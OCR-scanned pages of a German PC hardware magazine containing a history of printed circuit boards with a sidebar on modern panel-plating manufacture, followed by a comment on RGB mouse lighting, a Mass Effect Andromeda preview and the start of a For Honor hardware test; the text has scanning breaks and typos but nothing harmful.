entstehende Notwendigkeit einer 
Strukturierung erkannte der deut- 
sche Erfinder Albert Parker Han- 
son bereits 1903 und entwickelte 


deshalb die Urleiterplatte - das „ge- 
druckte Kabel“. Hansen wollte mit 
seiner Erfindung, dem neuentdeck- 
ten Kommunikationsdrang der 
Menschen und der sich rasant ent- 
wickelnden Elektrotechnik gerecht 
werden. Ein leitendes Metall, wie 
etwa Messing oder Kupfer, wurde 
in Bahnen auf ein nicht leitendes 
Material, wie z. B. Wachspapier, auf- 
gebracht (siehe Bild rechts). 


Eine strukturierte Anbringung der 
elektrischen Bauelemente an dafür 
vorgesehenen Leiterbahnen  er- 
möglichte Hanson eine hohe Bau- 
element-Dichte im Gerät. Durch Lö- 


cher im Wachspapier konnte man 
unterschiedliche Leiterbahnen 
ansteuern und Einzelteile selektiv 
verschalten. Um zum damaligen 
Zeitpunkt Leiterplatten herzustel- 
len, wurden additive Verfahren 
verwendet. Auf einem Dielektri- 
kum - einem Material mit schwach 
oder nicht leitenden Eigenschaften 
- wurde Kleber in den geplanten 
Leiterbahnen aufgetragen und mit 
einem leitenden Pulver aus Bronze 
oder Graphit bestäubt. Nach dem 
Aushärten des nun leitfähigen Kle- 
bers wurde überschüssiges Pulver 
einfach abgeklopft. Dieses bereits 
1906 von Edison entwickelte Ver- 
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Stradivari IV Radio (links) von 1960 mit echten Leiterplatten. Daneben ein Trabant T6 Kofferradio 
von 1961 mit einer Hartpapier-Leiterplatte mit Handverdrahtung (Bilder mit freundlicher Genehmi- 


gung von Ingo Pötschke von der Gesellschaft der Freunde der Geschichte des Funkwesens, gfgf.org) 


fahren erfährt dank geringer Pro- 
duktionskosten selbst heutzutage 
noch Aufmerksamkeit. 


Schöne neue Funkwelt 
Heinrich Hertz konnte in seinem 
1888 erschienenen Forschungsbe- 
richt „Über Strahlen elektrischer 
Kraft“ elektromagnetische Wellen 
nachweisen und begründetet damit 
die drahtlose Informationsübertra- 
gung bzw. unsere modernen Nach- 
richtentechnologien. Kurz darauf 
konnten bereits erste Signale in 
Echtzeit kabellos übertragen wer- 
den: Guglielmo Marconi gelang es 
1901, Morsesignale über den Atlan- 
tik zu schicken. 


Die Erfindung des Radios in den 
nächsten Jahren war eine der trei- 
benden Kräfte in der Leiterplatten- 
entwicklung: Die Massen wollten 
„Funkwellenempfangsgerät“. 
Das erste subtraktive Verfahren 
zur Herstellung von Leiterplatten 


ein 


erfand Arthur Berry kurz vor dem 
ersten Weltkrieg. Ein Dielektrikum 
wurde im Vorfeld mit einer Metall- 
folie überzogenen und überschüs- 
siges leitendes Material wurde im 
Produktionsprozess weggeätzt. Ein 
weiteres additives Druckverfahren, 
das durch thermische Beschich- 
tung Leiterbahnen mit einer Dicke 
von bis zu 150 um auftrug, wurde 
von Max Schoop 1918 entwickelt. 
Perfekt geeignet für die damalige 
Elektronik: Dicke Leiterbahnen 


www.pcgameshardware.de 


vertragen mehr Stromstärke, ideal 
für Vakuumröhren mit beheizten 
Filamenten. 


Die elektrischen 1920er 
Rundfunk,  Fernschreiber 

Fernsehen: Der rasante technische 
Wandel in den vorangegangen- 
den Jahren ließ die Elektrotechnik 
regelrecht boomen. Kein Wun- 
der, dass ein weiterer Pionier der 
Leiterplatten 1925 ein Patent zur 
Herstellung mittels Ätz- und Elek- 
troplattierung anmeldete: Charles 
Ducas. Sogar Multilayer-Systeme 
wurden von Ducas schon beschrie- 
ben, indem mehrere Platinen nach 
der Elektroplattierung zusammen 
gepresst wurden - eine Eigenschaft 


und 


modern gedruckter Leiterplatten, 
um so eine hohe Packungsdichte 
zu erzeugen. Parolini griff die Ide- 
en von Edison und Ducas auf und 
fügte den Jumper" ein. Beim Jum- 
per handelt es sich um einen U-fór- 
migen Draht, der in das trocknen- 
de Polymer eingefügt wird und so 
eine elektrische Brücke zwischen 
zwei Bauelementen bildet. 


Andere Erfinder experimentier- 
ten mit flexiblen Leiterplatten, 
um verschiedenste Formen zu 
ermöglichen. Wachspapier und 
Guttapercha (ein natürlicher Ther- 
moplast) bildeten dabei das nicht 
leitende Substrat auf das eine Paste 
aus Graphit, Blei oder Kupfer auf- 
getragen wurde. Solche flexiblen 


Die Urleiterplatter von Hanson aus dem Jahre 1903. a und b zeigen die Leiterbahnen, 


c das Verbindungsloch für Bauelemente und d das Dielektrikum-Wachspapier. 


Querschnitt durch ein RAM-Modul. Oben ist eine integrierte Schaltung aufgelötet und 
rechts befindet sich eine Durchgangsbohrung. Insgesamt liegen vier Kupferlagen vor. 
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Bild: aus „The Circiut Centennial" von Ken Gileo 
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Bild: Tilo Graupner, www.baste-radio.de 


Bild: aus „The Circiut Centennial” von Ken Glen 


Bild: ССО, findbar unter https://goo. 


INFRASTRUKTUR | Geschichte der Leiterplatten 


High-Density-Interconnect-Leiterplatten 
te und werden mit der Micro-Vias-Technologie bebohrt 


haben eine extrem hohe Packungsdich- 


Blick ins Innere eines SABA Radios WII von 1952. Die großen Bauelemente wurden 
per Hand verdrahtet, dies war jedoch fehleranfällig und sehr unübersichtlich. 
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Einer der ersten Versuche, flexible Leiterplatten zu verwenden. Beim Akkordeon- 


Schaltkreis sollten die Windungen in einem Transformator ersetzt werden. 
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Leiterplatten rücken mittlerweile 
dank der Minitiasierung von Bau- 
elementen wieder in den Fokus. 
Knapp 20 Jahre nach der Patentie- 
rung der ersten Leiterplatte durch 
Hanson konnten PCBs („Printed 
Circuit Board“, englisch für „ge- 
druckte Leiterplatte“) additiv oder 
subtraktiv hergestellt werden, wa- 
ren teilweise flexibel und wiesen 
sogar unterschiedliche Stärken in 
den Leiterbahnen auf. Dennoch 
war der Einsatz eher selten, da die 
Bauelemente noch sehr groß wa- 
ren und deshalb auch einfach per 
Hand verdrahtet werden konnten. 


Die Weltwirtschaftskrise 
Dank des New Yorker Börsencra- 
shes 1929 - der als schwarzer Don- 
nerstag in die Geschichte einging 
- befand sich die Welt am Boden: 
Ein starker Rückgang der Indust- 
rieproduktion, ein einbrechender 
Welthandel, Bankenkrisen und 
eine Deflationsspirale waren das 
Resultat. Elektrogeräte oder gar die 
Weiterentwicklung der Leiterplatte 
standen nicht unbedingt oben auf 
der Agenda vieler Menschen. Der 
Fortschritt wurde also weniger 
vom Konsumenten vorangetrie- 
ben, sondern von Pionieren der 
Elektrotechnik. Auch bisher nie da- 
gewesene Geräte, wie der kurz zu- 
vor erfundene Fernseher, rückten 
für den Otto Normalverbraucher in 
den Hintergrund. 


Die Weiterentwicklung von PCBs 
erlebte trotzdem einige Verbesse- 
rungen: Erwin Franz entwickelte 
1933 eine Druckpaste für Leiter- 
bahnen aus Kohlenstoff. Diese 
konnte auf Cellophan oder ähnli- 
chen Membranen gedruckt wer- 
den und war damit eine deutliche 
Vereinfachung des Herstellungs- 
prozesses. Franz entwickelte darauf 
basierend einen Akkordeon-Schalt- 
kreis, der Windungen in Transfor- 
mern ersetzen konnte und dabei 
nur noch einen Bruchteil des Plat- 
zes verbrauchte (siehe Bild rechts). 
Trotz Wirtschaftskrise fanden eini- 
ge technische Erneuerungen bei 
den gedruckten Leiterplatten statt: 
PCBs mit genieteten Metallstreifen 
liefen in den Sachsenwerken der 
„Licht und Kraft AG“ vom Band 
und die ,Hescho-Werke* druckten 
bereits 1930 Leiterzüge auf ein Ke- 
ramiksubstrat. Der als „Vater des 
gedruckten Schaltkreises“ bezeich- 
nete Österreichische Erfinder Paul 


Eisler importierte in dieser Zeit 
weitere Techniken des Siebdrucks 
in die Elektrotechnik und schuf da- 
durch eine kostengünstige Metho- 
de für die Massenproduktion von 
Leiterplatten. 


Subtraktive Verfahren wie die 
Kupferradierung waren seit Jahr- 
hunderten ein billiges Vervielfäl- 
tigungsverfahren im Printbereich. 
Für einen Druck wurde in eine di- 
cke Kupferplatte mit einer harten 
Stahlnadel ein Relief gekratzt (die 
sog. Kaltnadelradierung), sodass 
Furchen unterschiedlicher Tiefe 
entstanden. Farbe kann nun - ent- 
sprechend der Kratztiefe - in un- 
terschiedlichen Intensitäten auf 
der bedruckten Oberfläche wie- 
dergegeben werden. Bei der me- 
thodisch verwandten Ätzradierung 
wird eine säureresistene Schicht 
weggekratzt, sodass diese Stellen 
der Säure ausgesetzt sind. Beim 
anschließenden Druck nehmen 
diese Stellen dann die Farbe auf. 
Im 19. Jahrhundert wurden außer- 
dem photosensitive Beschichtun- 
gen entdeckt und ermöglichten so 
die Fotogravur durch Belichtung. 
Der Unterschied zwischen Eislers 
Methode und den altbekannten 
Druckverfahren aus der Papierin- 
dustrie war lediglich das zu bedru- 
ckende Substrat. Zur Verwendung 
kam statt einer dicken Kupferplatte 
lediglich eine Kupferfolie, damit 
nach dem Ätzen die Leiterbahnen 
voneinander elektrisch isoliert vor- 
liegen. 


Weltkrieg und Transistor 
Trotz Weltwirtschaftskrise wurde 
der Rundfunk vor Ausbruch des 
zweiten Weltkriegs ein bedeu- 
tender Wirtschaftsfaktor und das 
zentrale Medium der damaligen 
Zeit. Als der größte militärische 
Konflikt der Menschheit 1939 
mit dem Angriff Nazi-Deutsch- 
lands auf Polen begann, erfuhr 
die Radiotechnologie ein enor- 
mes Interesse: Kommunikation 
kann  kriegsentscheidend sein. 
Neben der Perfektionierung der 
bisherigen Kommunikationsme- 
thoden entstand das Radar auf Ba- 
sis der bisherigen Erkenntnisse bei 
der Übermittlung von elektromag- 
netischer Strahlung. 


Wichtig waren zudem robuste Lei- 


terplatten, die in Masse produziert 
werden konnten. Die ,Cermets*, 
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Bild: TU Ilmenau, mit freundlicher Genehmigung von Prof. Dr. Jacobs 


die aus einem keramischen Dielek- 
trikum und metallischen Leiterbah- 
nen bestanden, wurden weiterent- 
wickelt und konnten so sogar in 
Brennkammern von Jets eingesetzt 
werden. PCBs hielten auch Einzug 
in eine neue Art der Kriegsfüh- 
rung:  Abstandszünder ermög- 
lichten eine bessere Flugabwehr 
(vor allem in Großbritannien). 
Der erste funktionsfähige universa- 
le Digitalrechner, der Zuse Z3, wur- 
de 1941 von Konrad Zuse in Berlin 
entwickelt. Leiterplatten verknüpf- 
ten die 2000 Relaisschaltungen 
untereinander, sodass komplizierte 
Berechungen bei der Konstruktion 
von Flugzeugen möglich wurden. 


Paul Eislers Drucktechnik für Lei- 


terplatten kam großflächig erst- 
mals 1943 in Radios zum Einsatz 
und bereits wenige Jahre nach dem 
Krieg experimentierten verschie- 


dene Hersteller mit unterschied- 
lichen Kunstharzen und anderen 
Materialien für das dielektrische 
Substrat. Im Jahr 1956 perfektio- 
nierten Wissenschaftler des US- 
Militärs den Druckprozess 
PCBs und ein Jahr später wurde 
das Institut für Leiterplatten (IPC: 
The Institute of Printed Circuits; 


für 


heute: Associaction Connnecting 
Electronics Industries) gegründet. 
Dieses beschäftigt sich seitdem mit 
der Veröffentlichung von Indus- 
triestandards oder legt Kriterien 
für die Bewertung von Bauteilen 
in der Elektroindustrie fest. Diese 
Faktoren und die Erfindung des 
1947 verhalfen der 

Druckmethode іп 


Transistors 
Eislerischen 
den 1950ern zum Durchbruch. 


> 


Ї 
Transistoren und eine Verbesse- 


Das flexible PCB aus Ilmenau lässt sich auf die doppelte Länge dehnen, ohne Funktio- 
nalität einzubüßen. Die Leiterbahnen sind dafür aufgerollt wie alte Telefonkabel. 
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rung des Drucks von Leiterplatten 
erhöhten die Packungsdichte auf 
den PCBs enorm. Die Firma Hazel- 
tyne entwickelte 1961 die ersten 
Multilayer-Systeme (vier oder mehr 
Ebenen). In den 1970ern wurden 
PCBs deutlich kleiner und heutige 
Industriestandardverfahren wur- 
den eingeführt, etwa die Heißluft- 
verzinnung, die ein Aufbringen 
von Lótzinn auf die Leiterplatte 
vereinfachte und der Fotostopp- 
lack. Die 1970erJahre spielten vor 
allem im Heimcomputerbereich 
eine wichtige Rolle, denn zum da- 
maligen Zeitpunkt war es erstmals 
möglich, mehrere Tausend Transis- 
toren auf einem Chip zu platzieren 
(LSI: large-scale-integration). Dies 
erlaubte es zum allerersten Mal, 
einen Hauptprozessor auf einem 
Chip zu integrieren. Kein Wun- 
der also, dass programmierbare 
Computer plötzlich zu halbwegs 
erschwinglichen Preisen für den 
Heimgebrauch zu haben waren. 
Apple, Commodore und Atari - 
alles Namen aus ebendieser Zeit, 
die den Einzug des PCs in die hei- 
mischen Gefilde ermöglichten. 
In den 1980ern, als Computer im- 
mer mehr in den Fokus rückten, 
wurden Bauelemente nur noch auf 
der Oberfläche montiert. Die bis 
dato verwendete Durchsteckmon- 
tage mit bedrahteten Bauelemen- 
ten wich den Flachbaugruppen, 
die direkt auf der Leiterplatte ver- 
lötet wurden (SMD: surface-moun- 
ted-device). Miniaturisierung, 
Kosten- und Gewichtsreduzierung 
sowie eine Verbesserung der Fer- 
tigungsqualität waren die Folge. 
Mehr Leistung konnte auf weni- 
ger Platz untergebracht werden. 


Elektronikgeräten wurde und wird 
auch weiterhin mit Nachdruck 
verfolgt. In den 1990ern hielt die 


Micro-Vias Technologie Einzug 
Leiterplattenherstellung: 
Kleinste Laser-Bohrungen, die die 
elektrischen Verbindungen inner- 
halb eines Multilayers erzeugen. 
Damit konnte die Packungsdichte 
nochmal drastisch erhöht werden 
- HDILeiterplatten (High-Density- 
Interconnect) entstanden. Dane- 


in die 


ben konnte damit eine genauere 
und verbesserte Produktion betrie- 
ben werden. Mittlerweile schafft 


man es mit dem ELIC-Verfahren 
(Every-Layer-Interconnected), alle 
Layer untereinander dynamisch 
zu verbinden. Dadurch wird mehr 
Platz in dicht gepackten PCBs für 
Baugruppen bereitgestellt, 
sich wiederum in geringeren Kos- 
ten, Gewicht und Größe nieder- 


schlägt. 


was 


Die erste „flexible“ Leiterplatte aus 
den Anfängen erfährt im Zuge der 
Minitiasierung und Platzeinspa- 
rung wieder ein erhöhtes Interesse 
von Forschern aus Robotik und Na- 
notechnologie. An der TU Ilmenau 
konnten Forscher dieses Interes- 
se bereits zu einem vollflexiblen 
PCB aus Silikon werden lassen: Die 
neue Leiterplatte ist biegsam und 
elastisch wie Gummi. Das Träger- 
material lässt sich in alle erdenkli- 
chen Formen drehen, kneten oder 
ziehen (siehe Bilderreihe). Hierbei 
handelt es sich noch um einen Pro- 
totyp; flexible Leiterplatten sind 
aber bereits in unseren Alltag ein- 
gezogen. PCBs mit Polyimid-Folie 
als Substrat weisen zwar nicht die 
gummiartige Verformbarkeit des 
Ilmenauer Produktes auf, sind aber 
nur ein Viertel so stark wie ein 
menschliches Haar. In Kombinati- 
on mit starren Materialien lassen 
sich so dreidimensionale Leiter- 
platten entwickeln, die perfekt an 
ihre räumlichen Anforderungen 
angepasst sind. Großflächige PCBs 
können gestapelt werden und wei- 
sen dazu noch eine erhöhte dyna- 
mische und mechanische Belast- 
barkeit auf. 


Vor knapp hundert Jahren, als Ge- 
räte noch per Hand verdrahtet wur- 
den und elektrische Bauelemente 
überdimensioniert waren, mag das 
Konzept der gedruckten Leiterplat- 
te noch nicht viel Sinn gemacht ha- 
ben. Doch der rasante technische 
Wandel im 20. Jahrhundert machte 
das preiswerte und effiziente Dru- 
cken von leitenden Strukturen für 
die Entwicklung und Produktion 
von elektrischen Geräten essenzi- 
ell. Erst dieser standardisierte Her- 
stellungsprozess ermöglichte den 
technologischen Fortschritt, den 
wir heute mit Tablets, Internet oder 
fototrealistischer Grafik erleben. 
Das einfache und kostengünstige 
Drucken von Leiterbahnen bildet 
damit immer noch das analoge 
Rückgrat unserer digitalen, vollver- 
netzten Gesellschaft. (ab) 
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Heutige Herstellung 


In der modernen Herstellung von Leiterplatten muss man zwischen zwei Herstellungsprozessen unterscheiden: dem Panel-Plating (subtraktiv) und dem 
Pattern-Plating (additiv). Beim Panel-Plating beschichtet man das gesamte Basismaterial mit Kupfer und erzeugt die Leiterbahnen in einem subtraktiven 
Verfahren. Beim Pattern-Plating werden dagegen die Leiterbahnen additiv aufgetragen. Im Folgenden behandeln wir das Panel-Plating genauer. 


Das Basismaterial der Leiterplatte ist ein aus Kunstharz (z. B. Polyepoxid) 

bestehendes, mit Glasfasern verstàrktes Dielektrikum. Dielektrische Mate- 
rialien haben schwache bis gar keine elektrisch-leitenden Eigenschaften, weshalb 
beidseitig eine 18-70 um starke Kupferfolie angebracht wird. 


Kupferfolie 
Dielektrikum 


Kupferfolie 


Entfernen des Fotoresists mit Natronlauge, sodass die blanken Kupferleiter- 
bahnen zu sehen sind. 
Leiterbahn 


Dielektrikum 
Kupferfolie 


Einer der ersten Schritte ist das Laser- oder mechanische Bohren, das eine 


Verbindung der unterschiedlichen Lagen erlaubt. 
Bohrloch 


Kupferfolie 
Dielektrikum 
Kupferfolie 


Als nächstes werden die gebohrten Löcher mittels einer stark oxidierenden 

Lösung gereinigt. Die Bohrwandungen werden durch direktes Plattieren 
mit einem elektrisch-leitenden Polymer beschichtet und elektrolytisch mit Kupfer 
verstärkt (ca. 25 um in den Bohrungen und ca. 30 um auf der Oberfläche). Für 
diesen galvanischen Prozess werden an der Anode Kupferkugeln durch einen 
Strom in Lösung gebracht. Die entstehenden Kupfer-lonen scheiden sich dann an 
der Kathode — wo sich auch die Leiterplatten befinden — als elementares Metall 


wieder ab. Aktiviertes Bohrloch 


Kupferfolie 
Dielektrikum 
Kupferfolie 


Das Ergebnis ist eine doppelseitige Leiterplatte, die als Innenlage für 

Multilayer dienen kann. Beide Seiten werden mit einer Lage aus vorimprä- 
gnierten Fasern (Prepreg) und einer weiteren Kupferplatte unter mechanischen 
Druck verpresst. Das Prepreg besteht aus einem Glasgewebe und ist mit nicht 
ausgehärtetem Kunstharz getränkt. 


Kupferfolie 


Dielektrikum 


Um die verschiedenen Lagen mitein- 
ander zu verbinden, werden unter- 
schiedliche Bohrungen eingebracht: 
[1] versteckte Bohrung, [2] Tiefen-, 
[3] Durchgangsbohrung. 


Mittels Belichtungsprozess wird das Leiterplattenlayout über einen licht- 
empfindlichen Film (Fotoresist) auf den Rohling — den sogenannten Nutzen 


= übertragen. Aktiviertes Bohrloch 


Fotoresist 
Dielektrikum 


Fotoresist 


Der Nutzen wird vollstándig mit lichtempfindlichem Fotostopplack 

beschichtet, um die Leiterbahnen vor Korrosion und anderen Umweltein- 
flüssen zu schützen. Dies geschieht durch ein Gießvorhangverfahren, Siebdruck, 
„Roller Coating" oder Sprühen. 


Grüner Stopplack 


Das Leiterbahnenbild wird nun mit einem aus lichtdurch- und lichtun- 
durchlässigen Strukturen bestehenden Belichtungsfilm passgenau auf den 
Nutzen übertragen. 


lichtundurchlässig lichtdurchlássig 


Belichtungsfilm: 
Fotoresist 
Dielektrikum 
Fotoresist 


Aktiviertes Bohrloch 


Beim Entwickeln werden zunächst die nicht belichteten Bereiche des 

Fotoresists abgewaschen, sodass das blanke Kupfer dort freiliegt. Die 
belichteten Bereiche sind ausgehártet und verbleiben auf der Oberfläche: Dort 
schützen sie das Kupfer vor dem nächsten Prozess, dem Ätzen. 

Ausgehárteter Fotoresist 

Fotoresist 
Dielektrikum 
Fotoresist 


Aktiviertes Bohrloch 


Um die Anbindungsstellen vom Stopplack zu befreien, wird der Nutzen 

erneut belichtet und analog zum Leiterbildprozess (5-8) entwickelt. 
Transparente Bereiche des Films lassen den Stopplack aushárten, wohingegen 
die dunklen Bereiche unbelichtet bleiben. Beim anschlieBenden Entwicklungspro- 
zess werden diese Bereiche weggespült. Die Lótpads sind nun sichtbar und die 
Bauteile kónnen angebracht werden. 


— Stopplack Fotofilm 
Grüner Stopplack 


Grüner Stopplack 


Die nun freiliegende Kupferflächen werden mit einer Endoberfläche 
veredelt. Zum Einsatz kommen hier ein organischer Oberflächenschutz, 
chemisch Zinn, Heißluftverzinnung oder zwei verschiedene Goldoberflächen. 


Veredelungsmaterial 
Grüner Stopplack 


Nicht benötigtes Kupfer wird mit Salzsäure abgeätzt, um so die Leiterbahn- 
strukturen zu offenbaren. Der ausgehärtete Fotoresist schützt dabei die 
Bereiche der späteren Leiterbahnen. 


Ausgehárteter Fotoresist 


Aktiviertes Bohrloch 


Fotoresist —— ë 
Dielektrikum 


Fotoresist 


Nach dem Veredeln der Kupferflächen werden die einzelnen Leiterplatten 

aus dem Nutzen durch Stanzen, Kontur- oder Rillenfrásen herausgelöst. Am 
Schluss kontrollieren optische und elektrische Prüfsysteme die Leiterbahnen auf 
Kurzschlüsse und Unterbrechungen. 
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Spiele & Software 


Frank Stówer 
Fachbereich Spiele 
E-Mail: fs@pcgh.de 


Kommentar 


RGB-Beleuchtung bei Mäusen: Wie viel 
buntes Geblinke brauchen Spieler wirklich? 


Bei meiner Maus-Marktübersicht dieser Ausgabe 
(siehe S. 86 bis 91) fiel mir auf, dass jeder der 
acht Testkandidaten mit einer Beleuchtung im 
RGB-Farbspektrum bestückt ist. Von meinen Tasta- 
turtests bin ich eine RGB-Einzeltastenbeleuchtung 
bereits gewohnt und gebe zu, dass bei all meinen 
Schreibgeräten, egal ob am Arbeitsplatz oder den 
heimischen PCs, für mich zumindest der sehr be- 
ruhigende Regenbogen- oder Farbwelleneffekt 
erstrahlt. Ob ich aber an meiner Maus auch eine 
Disco- oder Kirmesbeleuchtung benötige? Diese 
Frage beantworte ich klar mit einem Nein. Doch 
wenn ich ehrlich bin, gibt es da schon Features, 
mit denen es die Hersteller doch schaffen könnten, 
mich von der Notwendigkeit einer RGB-Beleuch- 
tung zu überzeugen. Lichtspielereien auf der 
Oberschale der Maus sind generell sinnlos, da dort 
bei mir als Palm-Grip-Spieler die Handinnenfläche 
aufliegt. Ein buntes Licht für das Mausrad und bei- 
spielsweise das Areal um den Mausboden könnte 
man im Gegenzug schon dafür nutzen, Ingame-Er- 
eignisse wie Angriff oder eine niedrige Gesundheit 
zu visualisieren. Ich bin mal gespannt, was sich die 
Hersteller da noch einfallen lassen. ;-) 
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* Quelle: Saturn, Top 20 vom 11.02.2017 


Mass Effect Andromeda 


Im kommenden Ableger der epischen Weltraum- 
saga gehen wir auf Entdeckungstour in der Andro- 
-medagalaxie — 600 Jahre nach Shepards Kampf 
gegen die Reaper. 


ie Andromeda-Initiative sucht nach einem 
D... Zuhause für die Menschheit, denn 
die Zukunft der Milchstrafše ist ungewiss. She- 
pards Kampf ist noch nicht entschieden, sodass 
Menschen und andere Lebensformen Archen 
gen Andromeda schicken. Als Teil der Pathfin- 
der - die Vorhut solch einer Arche - suchen 
wir nach habitablen Planeten. Angekommen 
erleben wir direkt Ungewohnliches. Die neue 
Heimat wird von einer Art Energiewolke ein- 
gekesselt und wirkt alles andere als einladend. 
Um die Bedingungen vor Ort zu klären, wird ein 
Erkundungstrupp mit euch entsandt. Und dort 
bieten sich eigenartige Phänomene: schweben- 
de Steine, gefährliche elektrische Entladungen 
und Hinweise auf eine mysteriöse, fremde Intel- 
ligenz. Was ist hier bloß los? 


Die bekannte Mass Effect DNA lässt sich auch 
in dem neuesten Vertreter wiederfinden: glaub- 
hafte Charakterbeziehungen und die daraus ent- 
stehenden Geschichten. Diese bieten reichlich 
Action und werden von einem umfangreichen 


Skillsystem abgerundet. Die Entwickler legen 
aber noch zusätzlich viel Wert auf das Erkunden 
der Andromedagalaxie. Bioware bietet hier eine 
Open-World-Light, d.h. es gibt weitläufige Areale 
mit Planeten voller Leben, aber es handelt sich 
eben um keine Sandbox im klassischen Sinne. 
Solch ein Planet kann dann schon mal die Grö- 
ße eines Dragon Age: Inquisition aufweisen und 
sich gerade in politisch unruhigen Zeiten befin- 
den oder eine geschichtsträchtige Entwicklung 
hinter sich haben. Die kanadischen Entwickler 
hatten sogar mit einen prozeduralem Univer- 
- ähnlich zu Hello Games No Man's Sky 
- experimentiert, sich aber dagegen entschie- 


sum 


den: Das entstandene Universum wäre einfach 
zu leer. Producer Fabrice Condominas erklärte 
stattdessen, dass man eine hundertprozentig 
handgefertigte Spielwelt präsentiert bekommt. 
Die Orte sollen dadurch Charakter bekommen, 
im Gedächtnis bleiben und zur Immersion bei- 
tragen. 


Genau wie in den Vorgängern ähnelt das Kampf- 
system einem Third-Person-Deckungsshooter. 
Der Charakter sucht aber automatisch hinter 
nahe gelegenden Hindernissen Schutz. Ein Jet- 
pack gibt der Mobilität zusätzlich noch eine ver- 
tikale Handlungsebene, die mit einem Ausfall- 
boost in eine beliebige Richtung ergänzbar ist. 
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Die Erneuerung integriert sich intuitiv ins Spiel- 
geschehen und kann auch als taktische Kom- 
ponente eingesetzt werden. Trefferfeedback, 
Waffenhandling und Gefechtssounds runden 
Scharmützel und bewaffnete Konfrontationen 
zu einer intensiven und immersiven Erfahrung 
ab. 


Das Squad, deine neue Familie 

Hat man nun durch das Katalogisieren von au- 
ßerirdischen Lebensformen oder durch heftige 
Schusswechsel Skill-Punkte verdient, können 
diese sogleich für bionische Add-Ons oder 
Waffenupgrades ausgegeben werden. Auf das 
bisher bekannte Klassensystem wurde bisher 
verzichtet, stattdessen werden „Profile“ entspre- 
chend der eingesetzten Punkte freigeschaltet. 
Zu keinem Zeitpunkt verpflichtet man sich zu 
einem Spielstil für das gesamte Abenteuer in der 
Andromeda-Galaxie - ein dynamischer Wechsel 
ist jederzeit möglich. Man kann so das gesamte 
Spiel als Soldat verbringen, genauso gut aber 
auch jede Mission mit einem anderen Profil 
spielen. Bioware hat hier bewusst viel Freiraum 
für Einstellungen, Interpretationen und Kom- 
binationen gelassen. Wem das alles aber zuviel 
Tiefgang ist, der kann die mitgelieferte Auto- 
Funktion nutzen, die das Verteilen übernimmt. 


Gekämpft, entdeckt - nur nicht geliebt - wird 
im für Bioware typischen Squad. Team-Kamer- 
den nehmen auch jederzeit Befehle entgegen, 
wenn Stellungen gehalten werden sollen oder 
ein Angriff unmittelbar bevorsteht. Im Laufe des 
Spiels entsteht so ein spezielles Band zwischen 
Protagonisten und den Mitgliedern des Squads: 
So werden wiederum spezielle Loyalitätsmis- 
sionen ausgelöst. Die KI macht dabei einen 
selbstständigen und klugen Eindruck - grobe 
Schnitzer waren zumindest im Hands-On nicht 
sichtbar. Wer aber lieber mit seinen Freunden 
im Squad das Weltall unsicher (oder sicher?) ma- 
chen möchte, kann im Multiplayer den Vierer- 
Coop ausprobieren und storylastige Missionen 
bewältigen. Man kann sich aber auch mit seinen 
Kollegen im Hordenmodus in Gegnerwelle auf 
Gegnerwelle werfen. 


Kurz nach Ankunft in der Andromedagalaxie begegnen uns auch schon die ersten 
Probleme auf unserem neuen Heimatplaneten. 
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Auf fremden Planeten müssen wir uns gegen widrige Bedingungen und unbekannte Lebensformen durchsetzen. 
Hierfür eignen sich ideal die bionischen Add-Ons, die uns z. B. mit einem Energieschild vor Beschuss schützen. 


Kommunikation ist alles 

Eine der Stárken der Mass-Effect-Macher waren 
immer die Charakterinteraktionen und die dar- 
aus resultierenden Geschichten. Auch im neuen 
Teil der epischen Science-Fiction-Saga wird viel 
Wert auf die Kommunikation zwischen Spieler 
und NPCs gelegt. Wer móchte, kann nahezu jede 
Person im Raumschiff ansprechen, in Small Talk 
verwickeln oder sich an tiefgründigen Diskussi- 
onen üben. Anders als bei der Shepard-Trilogie 
wurde auf ein Moralsystem verzichtet. Laut den 
Entwicklern neigten viele Spieler dazu, die mo- 
ralisch beste Antwort zu wáhlen, ohne sich den 
Dialog wirklich zu Ende anzuhóren oder ent- 
sprechend der Situation zu reagieren. Für impul- 
santes und tiefgründiges Geschichtenerzählen 
ein Todesstofs. Das neue System beraubt den 
Spieler aber nicht um das Kommunikationser- 
lebnis, ganz im Gegenteil: Bioware zwingt zum 
genauen Zuhören. Denn jede Antwort enthält 
einen Unterton, der, wie im richtigen Leben, bei 
falscher Wahl eine weitere Interaktion mit dem 
Gesprächspartner durchaus belasten kann. 
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One-Way-Ticket nach Andromeda? 

Mass Effect Andromeda holt einen bereits nach 
Sekunden erlebter Spielzeit ab. Fremde Plane- 
ten, unbekannte Zivilisationen, eine oskarreife 
Erzählweise und ein tiefgehendes Skillsystem 
fühlen sich direkt wie ein klassisches Mass Ef- 
fect an. Dazu zeigen sich die Gefechte intensiv 
und machen durch ein hervorragendes Tref- 
ferfeedback und der eingesetzten Sounds auch 
noch richtig viel Spaß. Das Ganze sieht dank 
der Frostbite-Engine auch noch atemberaubend 
schón aus und wirkt technisch sauber. Selbst 
KI-Gegner zeigen sich im Hands-On nicht töl- 
pelhaft, sondern flankieren, taktieren und sind 
durchaus ernst zunehmen. Unter der Prámisse, 
dass jeder Ort handgefertigt wurde und so im 
Gedächtnis bleiben soll, kann eigentlich fast 
nichts mehr schiefgehen. Nichts wäre nämlich 
schlimmer, als sich in einem repetitiven Mis- 
sionszyklus wiederzufinden oder durch unin- 
spirierte Level zu wandern. Die Sterne stehen 
also gut für eine Entdeckungstour in unserer 


(ab) 


benachbarten Spiralgalaxie Andromeda. 


Diese intelligente Lebensform ist über unsere Heimatwahl gar nicht erfreut und 


zwingt uns zu intensiven Gefechten. 
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Ruhm und Ehre 


Seit dem 14. Februar dürfen PC-Spieler in For Honor als Ritter, Wikinger oder Samurai anspruchsvolle 


Schlachten bestreiten. Wir verraten, welche Hardware der Prachtgrafik gewachsen ist. 


it For Honor beweist Ubisoft 
Mi The Division (2016) 
erneut Mut zu neuen Marken. Das 
Mittelalter-Spektakel ist zwar histo- 
risch hanebüchen, das Zusammen- 
treffen von Rittern, Wikingern und 
Samurai erlaubt den Entwicklern 
jedoch spannende Nahkämpfe. Dar- 
um dreht sich in For Honor nämlich 
alles, moderne Schusswaffen waren 
noch nicht erfunden. Das komplexe 
Kampfsystem geht über Schlagen 
und Blocken hinaus, neben Timing 
und der richtigen Waffe ist auch die 
Deckungsrichtung entscheidend. 
Die Duelle finden entweder in Mul- 
tiplayer-Arenen oder in der Einzel- 
spieler-Kampagne statt - dargestellt 
in wahrhaft prächtiger Grafik. PC 
Games Hardware verrät im Tech- 
niktest, welche PC-Komponenten 
ehrenhaft sind. 
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Technik-Finesse 

Wie wir bereits in der Vorschau 
